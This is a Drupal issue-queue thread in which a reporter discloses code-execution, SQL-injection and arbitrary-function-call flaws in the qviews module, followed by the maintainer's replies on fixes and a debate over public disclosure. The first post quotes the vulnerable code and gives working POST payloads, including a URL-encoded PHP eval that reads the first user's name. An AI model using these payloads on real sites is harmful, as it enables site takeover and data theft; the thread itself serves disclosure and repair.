Hello. I recently skimmed the source code of the qviews module after a post about it went over the planet. I advise everyone not to use or try the module in its current state, as it has several highly critical security flaws.
- a) The qviews module allows arbitrary PHP execution and SQL injection for all users with the "administer views" permission. This means that anyone with that permission can easily completely takeover your site!
- b) The qviews module allows any user with the "access content" permission to call an arbitrary function.
- c) I haven't yet checked very thoroughly, but I'm pretty sure it's possible for all users with the "access content" permission to inject arbitrary SQL.
Example for a): The following code can be run by all users with the "administer qviews" permission:
if (isset($_POST['sql'])) {
$sql = $_POST['sql'];
$count_sql = $_POST['count_sql'];
}
if (isset($_POST['args'])) {
$args = $_POST['args'];
$args_not_processed = $args;
}
qviews_sql_eval($sql, $args, $count_sql);
$args = qviews_clean_args($args);
$result = db_query_range($sql, $args, 0, 1);
and, in qviews_sql_eval():
if (function_exists($sql)) {
[...]
} else {
$sql = drupal_eval($sql);
So, as you can see, the $sql value is coming directly and unescaped from $_POST. The user entered $sql string then is both executed as PHP codeand run as an SQL query.
Example of abuse:
Perform a request on site.com/qviews/process while passing the following POST parameters as a user with the "administer qviews" permission:
action=builder_sql_check
sql=<?php exit(db_result(db_query('select name from users where uid =
1')));
(or simply with a content type of application/x-www-form-urlencoded and a query string of
action=builder_sql_check&sql=%3C%3Fphp%20exit%28db_result%28db_query%28%22select%20name%20from%20users%20where%20uid%20%3D%201%22%29%29%29%3B%20
This will print the first user's name and then exit. Any PHP string in the "sql" POST parameter will be eval'd as-is.
b) By performing a POST request on qviews/proces with POST values
action=ajax_col_change
callback=foo
the function foo() would be executed (without parameters). This works for all users with the "access content" permission. I'm sure there are harmful functions that take no arguments on many sites.
c) I haven't had the time to actually check, but there are numerous places where values from POST are directly used in SQL queries. E.g. have a look at the function qviews_feed_data(), which is run for users with the access
content permission. It seems to be possible to inject SQL by setting the right POST parameters, as values from POST are used unescaped in several places.
Comments
Comment #1
chrisshattuck commentedThank you Frando,
These are some important finds. I'm working on this fixes for some of these items, but let me address them briefly:
a) I think you mean the "administer qviews" permission, and it's true that users with this permission can execute arbitrary PHP, and thus execute SQL queries. This is actually by design, but perhaps it should be more clear in the documentation that this is the case. Giving users "administer qviews" permission is akin to allowing users to use the PHP input filter. Use with caution, and it should only be available to admins.
b) The arbitrary function call - Yup, in looking over my code I see that this is quite possible. Some of my code actually made me chuckle, as it's a bit outdated (did I mention this module deserves a re-write?). I have fixed this locally, and will be committing as soon as I get c) fixed as well. The fix will work fine, but there's a bit of an architecture issue that I need to address there to nail it down more. The current fix adds a special prefix to the function names, so any functions called through this method will be prepared to handle any access control checks. Eventually, the function name should not be passed at all, but should be pulled straight from the Q-Views definition.
c) The example you're showing is actually from the Q-View configuration page, which is only accessible to users with "administer qviews" permission. So, that isn't a security flaw, but rather by design. You did mention in the description near the bottom of your post that a lot of $_POST variables were being used directly in queries. I wasn't able to find this, at least in qviews_feed_data(). There is something I noticed more closely tied to b) where $_POST variables are being used without being cross-referenced the the Q-Views definition. However, they're all using the proper syntax to avoid SQL injection (i.e. placeholders in db_query()). If you see any exceptions there, please let me know.
Thanks for taking the time to evaluate this, and I'll post when these issues have been fixed and a new release made.
Cheers!
Chris
Comment #2
christefano commentedWow. Security issues like this really, really don't belong in the issue queue. Frando, have you reported this to the security team? The instructions for how to do this are linked to from the top of every "create issue" page.
I'm not on the team myself but I've unpublished this post so that only you and site maintainers with appropriate permissions can see it.
Comment #3
jbrauer commentedThis was reported by Frando to the security team. As there are no stable releases of the module Frando was advised this is an issue to be worked in the issue queue.
Comment #4
chrisshattuck commentedSorry, I didn't realize Christefano's post went up on this issue. Below was my response:
The security team actually contacted me this weekend about Frando's issues and they suggested he post an issue in the issue queue because there wasn't a full release yet. I have mixed feeling about the issues being so exposed, but trust the security team felt like it was the best thing to do.
I am well on the way to getting the pertinent issues fixed, so hopefully it won't be too long before this is mute.
In the future, I think it would be good to get these kinds of notifications via a personal contact form before an issue is posted. If it's a security hole, it would be better to have a head start in fixing it, just in case people are actually using it in production environments.
Comment #5
christefano commentedThanks for the update, folks. Seeing this issue here tripped the alarm for me and I'm glad you're all on it already. Sorry, Frando!
Comment #6
heine commentedFrom IRC:
Comment #7
pvasili commentedIs there any progress in solving this problem?
Comment #8
redben commentedA suggestion :
What about making qviews a builder module that is only used by devs for speed, when done the developer could export the qview to code in a standalone module (like features) and deploy the resulting module to production, where there would be no need for evaluating sql ...etc, the resulting module should not depend on qviews
Comment #9
andypostsubscribe
Comment #10
Ciprian Oancia commentedsubscribe